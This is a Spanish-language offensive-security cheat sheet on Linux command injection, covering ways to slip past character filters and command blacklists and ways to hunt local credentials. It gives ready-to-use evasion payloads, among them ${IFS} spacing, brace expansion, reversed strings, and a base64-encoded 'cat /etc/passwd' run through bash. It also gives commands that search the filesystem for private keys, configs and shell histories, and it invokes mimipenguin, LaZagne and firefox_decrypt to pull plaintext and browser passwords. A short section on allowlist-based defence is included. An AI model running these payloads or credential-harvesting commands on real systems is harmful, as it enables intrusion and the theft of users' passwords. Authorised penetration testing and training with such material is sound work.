Inyección de Comandos en Linux
Bypass de caracteres filtrados y comandos bloqueados en inyección de comandos, y ataques a contraseñas locales en Linux.
Inyección de Comandos en Linux
Operational Scope & Technical Objective
Una inyección de comandos ocurre cuando entrada controlada por el usuario se concatena a una shell sin saneamiento; el payload se interpreta como comando por el shell. Los filtros defensivos se implementan en dos capas: caracteres (bloqueo de espacios, barras, punto y coma) y listas negras de comandos (cat, whoami, nc, …). Ambas capas se eluden con transformaciones del payload que el shell resuelve antes de ejecutar. Este post compila el repertorio de bypass y, en la segunda mitad, los ataques a credenciales locales (hunting de archivos, historiales y descifrado de credenciales de navegador).
Filtered Character Bypass
| Código | Descripción |
|---|---|
printenv |
Ver todas las variables de entorno |
| Espacios | |
%09 |
Tabs en lugar de espacios (decodificación por la app) |
${IFS} |
Se reemplaza por espacio y tab; no funciona en sub-shells ($()) |
{ls,-la} |
Las comas se reemplazan por espacios (brace expansion) |
| Otros caracteres | |
${PATH:0:1} |
Se reemplaza por / |
${LS_COLORS:10:1} |
Se reemplaza por ; |
$(tr '!-}' '\"-~'<<<[) |
Desplaza un carácter en uno ([ → \) |
Blacklisted Command Bypass
| Código | Descripción |
|---|---|
| Inserción de caracteres | |
' o " |
Dividir el comando; el total de comillas debe ser par |
$@ o \ |
Linux only; caracteres ignorados dentro del nombre del comando |
| Manipulación de mayúsculas | |
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") |
Ejecuta el comando ignorando mayúsculas |
$(a="WhOaMi";printf %s "${a,,}") |
Variante de lowercasing |
| Comandos invertidos | |
echo 'whoami' | rev |
Invierte una cadena |
$(rev<<<'imaohw') |
Ejecuta el comando invertido |
| Comandos codificados | |
echo -n 'cat /etc/passwd | grep 33' | base64 |
Codifica la cadena en base64 |
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) |
Ejecuta la cadena base64 decodificada |
Ejemplos de uso en payload:
# Ejecutar whoami sin comillas, con spaces y sin echo
{cat,/etc/passwd}
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
Linux Local Password Attacks
| Comando | Descripción |
|---|---|
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib|fonts|share|core" ;done |
Encuentra archivos .conf, .config y .cnf |
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc|lib");do echo -e "\nFile: " $i; grep "user|password|pass" $i 2>/dev/null | grep -v "\#";done |
Busca credenciales dentro de archivos .cnf |
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share|man";done |
Encuentra bases de datos comunes |
find /home/* -type f -name "*.txt" -o ! -name "*.*" |
Busca archivos de texto en homes |
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share";done |
Busca archivos de scripts comunes |
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib|fonts|share|core" ;done |
Busca documentos comunes |
cat /etc/crontab |
Revisa crontab en busca de credenciales |
ls -la /etc/cron.*/ |
Lista archivos cron en /etc |
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1" |
Busca claves privadas en todo el filesystem |
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1" |
Claves privadas en homes |
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1" |
Claves públicas ssh-rsa en homes |
tail -n5 /home/*/.bash* |
Últimas 5 líneas de los historiales bash |
python3 mimipenguin.py |
Extrae credenciales en claro de memoria (Mimipenguin) |
bash mimipenguin.sh |
Ídem, variante bash |
python2.7 lazagne.py all |
Lazagne, todos los módulos |
ls -l .mozilla/firefox/ | grep default |
Perfil de Firefox en uso |
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq . |
Credenciales de Firefox (JSON cifrado) |
python3.9 firefox_decrypt.py |
Descifra credenciales de Firefox |
python3 lazagne.py browsers |
Credenciales de navegadores vía Lazagne |
Real-World Offensive/Defensive Scenarios
-
Cadena de elusión completa (ofensivo): combinando capas — comillas para romper el nombre,
${IFS}/{cmd,arg}para el espacio,base64para la ofuscación ybash<<<$()como ejecutor — un payload sobrevive a filtros de caracteres y blacklists:bash<<<$(base64 -d<<<$(tr '!-}' '\"-~'<<<[IPG)) # construcción iterativa de comandos -
Validación (defensivo): los filtros basados en blacklists de comandos y caracteres son insuficientes por diseño: la expansión de shell (
${IFS}, brace expansion,$(),rev, base64) transforma el payload sin que el filtro lo detecte. La defensa correcta es allowlist de comandos/argumentos y, en aplicaciones web, la validación estricta de entradas contra el esquema esperado (nunca pasar la entrada asystem()/exec). -
Hunting de credenciales locales (ofensivo): los bucles
forde extensiones recorren todo el filesystem buscando configs, DBs, scripts y documentos con credenciales;lazagne.py browsers+firefox_decrypt.pyrecuperan credenciales de navegador, ymimipenguinextrae contraseñas en claro desde el espacio de memoria de procesos que las mantienen.